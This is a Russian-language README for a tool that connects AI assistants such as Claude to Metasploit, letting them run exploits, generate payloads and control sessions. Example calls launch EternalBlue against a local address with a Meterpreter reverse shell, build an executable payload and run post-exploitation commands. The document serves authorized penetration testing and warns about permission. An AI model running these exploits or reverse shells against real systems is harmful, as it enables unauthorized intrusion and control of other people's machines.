Metasploit MCP-сервер
Сервер Model Context Protocol (MCP) для интеграции Metasploit Framework.
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
Описание
Этот сервер MCP обеспечивает мост между большими языковыми моделями, такими как Claude, и платформой тестирования на проникновение Metasploit Framework. Он позволяет помощникам ИИ динамически получать доступ и управлять функциональностью Metasploit с помощью стандартизированных инструментов, обеспечивая интерфейс на естественном языке для сложных рабочих процессов тестирования безопасности.
Related MCP server: Vibehacker Metasploit MCP
Функции
Информация о модуле
list_exploits : Поиск и составление списка доступных модулей эксплойтов Metasploit
list_payloads : Поиск и составление списка доступных модулей полезной нагрузки Metasploit с дополнительной фильтрацией по платформам и архитектурам
Рабочий процесс эксплуатации
run_exploit : настроить и выполнить эксплойт против цели с возможностью предварительного запуска проверок
run_auxiliary_module : запуск любого вспомогательного модуля Metasploit с пользовательскими параметрами
run_post_module : Выполнение модулей пост-эксплуатации для существующих сеансов
Генерация полезной нагрузки
generate_payload : Генерация файлов полезной нагрузки с помощью Metasploit RPC (сохраняет файлы локально)
Управление сеансом
list_active_sessions : Показать текущие сеансы Metasploit с подробной информацией
send_session_command : запуск команды в активной оболочке или сеансе Meterpreter
terminate_session : Принудительно завершить активный сеанс
Управление обработчиками
list_listeners : Показать все активные обработчики и фоновые задания
start_listener : создать новый multi/handler для приема подключений
stop_job : завершить любое запущенное задание или обработчик
Предпосылки
Metasploit Framework установлен и msfrpcd запущен
Python 3.10 или выше
Необходимые пакеты Python (см. requirements.txt)
Установка
Клонировать этот репозиторий
Установить зависимости:
pip install -r requirements.txtНастройте переменные среды (необязательно):
MSF_PASSWORD=yourpassword MSF_SERVER=127.0.0.1 MSF_PORT=55553 MSF_SSL=false PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads
Использование
Запустите службу Metasploit RPC:
Варианты транспорта
Сервер поддерживает два метода транспортировки:
HTTP/SSE (события, отправленные сервером) : режим по умолчанию для взаимодействия с большинством клиентов MCP
STDIO (стандартный ввод/вывод) : используется с Claude Desktop и аналогичными прямыми трубными соединениями.
Вы можете явно выбрать режим транспорта с помощью флага --transport :
Дополнительные параметры для режима HTTP:
Интеграция рабочего стола Клода
Для интеграции Claude Desktop настройте claude_desktop_config.json :
Другие клиенты MCP
Для других клиентов MCP, использующих HTTP/SSE:
Запустите сервер в режиме HTTP:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085Настройте свой клиент MCP для подключения к:
Конечная точка SSE:
http://your-server-ip:8085/sse
Соображения безопасности
⚠️ ВАЖНОЕ ПРЕДУПРЕЖДЕНИЕ О БЕЗОПАСНОСТИ :
Этот инструмент обеспечивает прямой доступ к возможностям Metasploit Framework, которые включают мощные функции эксплуатации. Используйте ответственно и только в средах, где у вас есть явное разрешение на выполнение тестирования безопасности.
Всегда проверяйте и пересматривайте все команды перед выполнением.
Запускать только в отдельных тестовых средах или при наличии соответствующего разрешения.
Помните, что команды после эксплуатации могут привести к значительным изменениям в системе.
Примеры рабочих процессов
Базовая эксплуатация
Список доступных эксплойтов:
list_exploits("ms17_010")Выберите и запустите эксплойт:
run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})Список сеансов:
list_active_sessions()Выполнить команды:
send_session_command(1, "whoami")
Пост-эксплуатация
Запустить пост-модуль:
run_post_module("windows/gather/enum_logged_on_users", 1)Отправка пользовательских команд:
send_session_command(1, "sysinfo")Завершить по завершении:
terminate_session(1)
Управление обработчиками
Запустить прослушиватель:
start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)Список активных обработчиков:
list_listeners()Сгенерировать полезную нагрузку:
generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})Остановить обработчик:
stop_job(1)
Параметры конфигурации
Каталог сохранения полезной нагрузки
По умолчанию полезные данные, сгенерированные с помощью generate_payload сохраняются в каталоге payloads в вашей домашней папке ( ~/payloads или C:\Users\YourUsername\payloads ). Вы можете настроить это местоположение, установив переменную среды PAYLOAD_SAVE_DIR .
Установка переменной среды:
Windows (PowerShell) :
$env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"Windows (командная строка) :
set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloadsLinux/macOS :
export PAYLOAD_SAVE_DIR=/custom/path/to/payloadsВ конфигурации Claude Desktop :
"env": { "MSF_PASSWORD": "yourpassword", "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default }
Примечание: Если вы указываете пользовательский путь, убедитесь, что он существует или у приложения есть разрешение на его создание. Если путь недействителен, генерация полезной нагрузки может завершиться неудачей.
Лицензия
Апач 2.0